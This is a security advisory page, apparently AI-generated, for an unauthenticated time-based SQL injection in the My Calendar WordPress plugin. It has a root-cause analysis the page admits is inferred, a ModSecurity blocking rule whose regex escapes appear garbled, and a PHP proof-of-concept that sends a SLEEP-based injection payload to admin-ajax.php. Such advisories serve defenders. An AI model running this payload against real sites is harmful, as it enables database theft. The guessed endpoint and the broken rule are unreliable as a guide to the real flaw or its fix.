Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : July 7, 2026

CVE-2026-6854: My Calendar <= 3.7.8 Unauthenticated SQL Injection via 'mc_auth' and 'mc_host' Parameters PoC, Patch Analysis & Rule

CVE ID CVE-2026-6854
Plugin my-calendar
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 3.7.8
Patched Version
Disclosed July 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6854 (metadata-based):

The vulnerability affects the My Calendar – Accessible Event Manager plugin for WordPress, versions up to and including 3.7.8. This is an unauthenticated time-based blind SQL injection vulnerability in the ‘mc_auth’ parameter. The CVSS score is 7.5 (High) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, indicating network exploitation with no privileges required and no user interaction, resulting in high confidentiality impact.

Root Cause: Atomic Edge research infers that the vulnerable code exists in an SQL query that incorporates user-supplied data from the ‘mc_auth’ parameter without proper escaping or prepared statement usage. The CWE-89 classification confirms this is a SQL injection weakness arising from improper neutralization of special elements. The description states the plugin uses insufficient escaping on user-supplied parameters and lacks sufficient preparation on existing SQL queries. The plugin also passes ‘mc_host’ parameter, likely used alongside ‘mc_auth’ for authentication or authorization checks. The combination of these parameters in a SQL query (likely a SELECT against a user token table or event permissions table) without parameterized queries or proper escaping allows an attacker to break out of the intended SQL string context. Since no source code diff is available, this analysis is inferred from the CWE and provided description.

Exploitation: An unauthenticated attacker can send a crafted HTTP request to an endpoint that processes the ‘mc_auth’ parameter (likely a WordPress AJAX action, REST API endpoint, or direct PHP file handler). The attack vector involves appending time-based blind SQL injection payloads (e.g., ‘ AND (SELECT IF(1=1,SLEEP(5),0))– ) to the ‘mc_auth’ parameter. The attacker can extract database contents character by character by observing response timing delays. The ‘mc_host’ parameter may also be injectable. Typical URLs would target `/wp-admin/admin-ajax.php?action=my_calendar_action&mc_auth=PAYLOAD` or a similar REST endpoint like `/wp-json/my-calendar/v1/endpoint?mc_auth=PAYLOAD`. The plugin does not enforce authentication or nonce validation for this endpoint, enabling unauthenticated exploitation.

Remediation: The fix in version 3.7.9 likely involves converting the affected SQL queries to use `$wpdb->prepare()` with proper placeholders (`%s`, `%d`) instead of direct string interpolation. The plugin must sanitize and validate the ‘mc_auth’ and ‘mc_host’ parameters before using them in database queries. Input validation should check expected formats (e.g., alphanumeric tokens, hostname patterns) and reject unexpected characters. The plugin should also enforce authentication and nonce checks for endpoints handling sensitive database operations.

Impact: Successful exploitation allows an unauthenticated attacker to extract sensitive information from the WordPress database, including user credentials (hashed passwords), session tokens, private post content, and other sensitive data stored in custom plugin tables. The CVSS vector shows no impact on integrity or availability, but full database compromise is possible via time-based extraction. This could lead to privilege escalation if admin credentials are extracted, or further attacks if sensitive application data is disclosed.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-6854 (metadata-based)
# Blocks SQL injection attempts via 'mc_auth' and 'mc_host' parameters targeting My Calendar plugin
# Targets admin-ajax.php action with suspicious patterns in these parameters

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6854 - SQL Injection via My Calendar mc_auth parameter',severity:'CRITICAL',tag:'CVE-2026-6854'"
  SecRule ARGS_POST:action "@streq my_calendar_auth_check" "chain"
    SecRule ARGS_POST:mc_auth "@rx (SELECT|UNION|INSERT|UPDATE|DELETE|DROP|SLEEP|BENCHMARK|ORs+d+|bANDs+d+|--|#|bLOAD_FILE|bINTOs+OUTFILE|bINTOs+DUMPFILE)" "chain"
      SecRule ARGS_POST:mc_host "@rx (?:^[a-zA-Z0-9.-]+$)" "t:none"
        SecRule ARGS_POST:mc_auth "@rx (?i)(union|select|sleep|benchmark|ors+d|--|#)" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6854 - My Calendar <= 3.7.8 - Unauthenticated SQL Injection via 'mc_auth' and 'mc_host' Parameters

// Assumption: The vulnerable endpoint is an AJAX action registered by the plugin.
// Common pattern: my_calendar_process_auth or similar.
// The PoC targets a guessed endpoint and demonstrates time-based blind SQL injection.

$target_url = ''; // Set this to the target WordPress site URL, e.g., 'http://example.com'
$endpoint = '/wp-admin/admin-ajax.php';
$action = 'my_calendar_auth_check'; // Inferred action name; may need adjustment

if (empty($target_url)) {
    die('Please set $target_url to the target WordPress site URL.');
}

// Test payload: time-based blind SQL injection using SLEEP()
// The injection attempts to extract database version via conditional delays
$payload = "' OR IF((SELECT LENGTH(VERSION())>0),SLEEP(5),0)-- ";

$url = $target_url . $endpoint;
$post_data = array(
    'action' => $action,
    'mc_auth' => $payload,
    'mc_host' => 'localhost' // Required host parameter
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, false);

$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;

curl_close($ch);

echo "Response time: $elapsed secondsn";
if ($elapsed > 3) {
    echo "[+] The server responded with a delay > 3 seconds. This indicates time-based SQL injection is likely working.n";
    echo "[+] Payload used: $payloadn";
} else {
    echo "[-] No significant delay detected. The injection may have failed or the endpoint/parameter is different.n";
}

echo "nNote: This PoC assumes the AJAX action 'my_calendar_auth_check' and that 'mc_auth' is injected into an SQL query without proper escaping. If the endpoint differs, modify the $action variable accordingly. Also replace 'SLEEP(5)' with 'BENCHMARK(10000000,MD5(1))' if SLEEP is disabled.";

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.